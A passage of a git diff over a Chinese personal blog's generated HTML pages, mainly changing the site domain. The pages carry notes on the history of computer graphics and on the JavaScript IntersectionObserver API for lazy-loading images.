GPU\n","wordCount":"48","inLanguage":"en","datePublished":"2022-11-08T12:00:00Z","dateModified":"2022-11-08T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/159/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>计算机图形学学习笔记</h1><div class=post-meta><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%9b%be%e5%bd%a2%e5%ad%a6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科</p><p>通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等</p><p>图形学历史</p><p>1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器</p><p>Whirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）</p><p>应用CRT和光笔</p><p>1958年，双人网球</p><p>1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱</p><p>1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏</p><p>1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线</p><p>1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父</p><p>1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT&amp;T-Archives-Force-Mass-Motion</p><p>1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器</p><p>1968年，Arthur Appel 提出光线投射算法</p><p>1973年，Bui Tuong Phong，发明phong shading（Phong着色法）</p><p>1974年，Speed Race游戏，第一款赛车游戏</p><p>1977年，3D core Graphics System，图形学标准</p><p>1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用</p><p>1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）</p><p>1995年，Directx 1.0</p><p>1997年，OpenGL 1.1</p><p>1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/>计算机图形学</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/161/><span class=title>« Prev</span><br><span>Deno js运行时环境学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/158/><span class=title>Next »</span><br><span>WebSocket学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+1999年，Nvidia，Gefprce 256 GPU"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"计算机图形学学习笔记","item":"https://chenjunlinabc.github.io/posts/159/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"计算机图形学学习笔记","name":"计算机图形学学习笔记","description":"计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科\n通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等\n图形学历史\n1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器\nWhirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）\n应用CRT和光笔\n1958年，双人网球\n1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱\n1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏\n1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线\n1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父\n1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT\u0026amp;T-Archives-Force-Mass-Motion\n1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器\n1968年，Arthur Appel 提出光线投射算法\n1973年，Bui Tuong Phong，发明phong shading（Phong着色法）\n1974年，Speed Race游戏，第一款赛车游戏\n1977年，3D core Graphics System，图形学标准\n1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用\n1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）\n1995年，Directx 1.0\n1997年，OpenGL 1.1\n1999年，Nvidia，Gefprce 256 GPU","keywords":["计算机图形学"],"articleBody":"计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科\n通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等\n图形学历史\n1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器\nWhirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）\n应用CRT和光笔\n1958年，双人网球\n1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱\n1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏\n1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线\n1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父\n1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT\u0026T-Archives-Force-Mass-Motion\n1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器\n1968年，Arthur Appel 提出光线投射算法\n1973年，Bui Tuong Phong，发明phong shading（Phong着色法）\n1974年，Speed Race游戏，第一款赛车游戏\n1977年，3D core Graphics System，图形学标准\n1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用\n1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）\n1995年，Directx 1.0\n1997年，OpenGL 1.1\n1999年，Nvidia，Gefprce 256 GPU\n","wordCount":"48","inLanguage":"en","datePublished":"2022-11-08T12:00:00Z","dateModified":"2022-11-08T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/159/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>计算机图形学学习笔记</h1><div class=post-meta><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%9b%be%e5%bd%a2%e5%ad%a6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科</p><p>通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等</p><p>图形学历史</p><p>1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器</p><p>Whirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）</p><p>应用CRT和光笔</p><p>1958年，双人网球</p><p>1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱</p><p>1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏</p><p>1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线</p><p>1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父</p><p>1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT&amp;T-Archives-Force-Mass-Motion</p><p>1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器</p><p>1968年，Arthur Appel 提出光线投射算法</p><p>1973年，Bui Tuong Phong，发明phong shading（Phong着色法）</p><p>1974年，Speed Race游戏，第一款赛车游戏</p><p>1977年，3D core Graphics System，图形学标准</p><p>1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用</p><p>1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）</p><p>1995年，Directx 1.0</p><p>1997年，OpenGL 1.1</p><p>1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9B%BE%E5%BD%A2%E5%AD%A6/>计算机图形学</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/161/><span class=title>« Prev</span><br><span>Deno js运行时环境学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/158/><span class=title>Next »</span><br><span>WebSocket学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/16/index.html b/posts/16/index.html
index 917e7906..0354dbff 100644
--- a/posts/16/index.html
+++ b/posts/16/index.html
@@ -20,8 +20,8 @@
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=>{
// 实例化
target.forEach((item) =>{
if (item.intersectionRatio){
// 当目标可视
item.target.src = item.target.alt; // 进行属性值覆盖
lazyload.unobserve(item.target) // 停止观测
}
})
},{
rootMargin: &#34;100px&#34; // 提前100px
}); const imgs = document.querySelectorAll(&#34;img[alt]&#34;); // 选择带有alt属性的img元素
imgs.forEach((item) => {
lazyload.observe(item)
// 开始观测
}); "><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/16/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript-IntersectionObserver构造函数笔记"><meta property="og:description" content="IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
+const lazyload = new IntersectionObserver((target)=>{ // 实例化 target.forEach((item) =>{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: &#34;100px&#34; // 提前100px }); const imgs = document.querySelectorAll(&#34;img[alt]&#34;); // 选择带有alt属性的img元素 imgs.forEach((item) => { lazyload.observe(item) // 开始观测 }); "><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/16/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript-IntersectionObserver构造函数笔记"><meta property="og:description" content="IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
 例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象
@@ -43,7 +43,7 @@
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=>{
// 实例化
target.forEach((item) =>{
if (item.intersectionRatio){
// 当目标可视
item.target.src = item.target.alt; // 进行属性值覆盖
lazyload.unobserve(item.target) // 停止观测
}
})
},{
rootMargin: &#34;100px&#34; // 提前100px
}); const imgs = document.querySelectorAll(&#34;img[alt]&#34;); // 选择带有alt属性的img元素
imgs.forEach((item) => {
lazyload.observe(item)
// 开始观测
}); "><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/16/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:29:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:29:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript-IntersectionObserver构造函数笔记"><meta name=twitter:description content="IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
+const lazyload = new IntersectionObserver((target)=>{ // 实例化 target.forEach((item) =>{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: &#34;100px&#34; // 提前100px }); const imgs = document.querySelectorAll(&#34;img[alt]&#34;); // 选择带有alt属性的img元素 imgs.forEach((item) => { lazyload.observe(item) // 开始观测 }); "><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/16/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:29:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:29:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript-IntersectionObserver构造函数笔记"><meta name=twitter:description content="IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
 例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象
@@ -65,24 +65,24 @@
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=>{
// 实例化
target.forEach((item) =>{
if (item.intersectionRatio){
// 当目标可视
item.target.src = item.target.alt; // 进行属性值覆盖
lazyload.unobserve(item.target) // 停止观测
}
})
},{
rootMargin: &#34;100px&#34; // 提前100px
}); const imgs = document.querySelectorAll(&#34;img[alt]&#34;); // 选择带有alt属性的img元素
imgs.forEach((item) => {
lazyload.observe(item)
// 开始观测
}); "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"JavaScript-IntersectionObserver构造函数笔记","item":"https://xiaochenabc123.github.io/posts/16/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"JavaScript-IntersectionObserver构造函数笔记","name":"JavaScript-IntersectionObserver构造函数笔记","description":"IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果\n该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法\nvar observe = new IntersectionObserver(callback, options)\n例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象\n使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象\n当监测目标对象的可视性发生改变时调用callback参数中的回调函数\noptions参数：主要是设置观测的对象和观测值，该参数中有三个键值对\nroot指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素\nrootMargin指的是用于扩大或者缩小视口的大小\nthreshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0\ncallback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值\nIntersectionObserverEntry对象\n该对象提供了监测对象的信息，有七个属性\nboundingClientRect：返回目标的矩形信息\nintersectionRatio：返回相交时和目标的比例值，不可视时小于等于0\nintersectionRect：返回目标和视口相交的矩形信息\nisIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）\nrootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息\ntarget：返回观测的目标对象，是dom对象\ntime：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒\n如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点\n例如：\nconst lazyload = new IntersectionObserver((target)=\u0026gt;{\r// 实例化\rtarget.forEach((item) =\u0026gt;{\rif (item.intersectionRatio){\r// 当目标可视\ritem.target.src = item.target.alt; // 进行属性值覆盖\rlazyload.unobserve(item.target) // 停止观测\r}\r})\r},{\rrootMargin: \u0026quot;100px\u0026quot; // 提前100px\r}); const imgs = document.querySelectorAll(\u0026quot;img[alt]\u0026quot;); // 选择带有alt属性的img元素\rimgs.forEach((item) =\u0026gt; {\rlazyload.observe(item)\r// 开始观测\r}); ","keywords":["JavaScript"],"articleBody":"IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果\n该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法\nvar observe = new IntersectionObserver(callback, options)\n例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象\n使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象\n当监测目标对象的可视性发生改变时调用callback参数中的回调函数\noptions参数：主要是设置观测的对象和观测值，该参数中有三个键值对\nroot指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素\nrootMargin指的是用于扩大或者缩小视口的大小\nthreshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0\ncallback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值\nIntersectionObserverEntry对象\n该对象提供了监测对象的信息，有七个属性\nboundingClientRect：返回目标的矩形信息\nintersectionRatio：返回相交时和目标的比例值，不可视时小于等于0\nintersectionRect：返回目标和视口相交的矩形信息\nisIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）\nrootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息\ntarget：返回观测的目标对象，是dom对象\ntime：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒\n如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点\n例如：\nconst lazyload = new IntersectionObserver((target)=\u003e{\r// 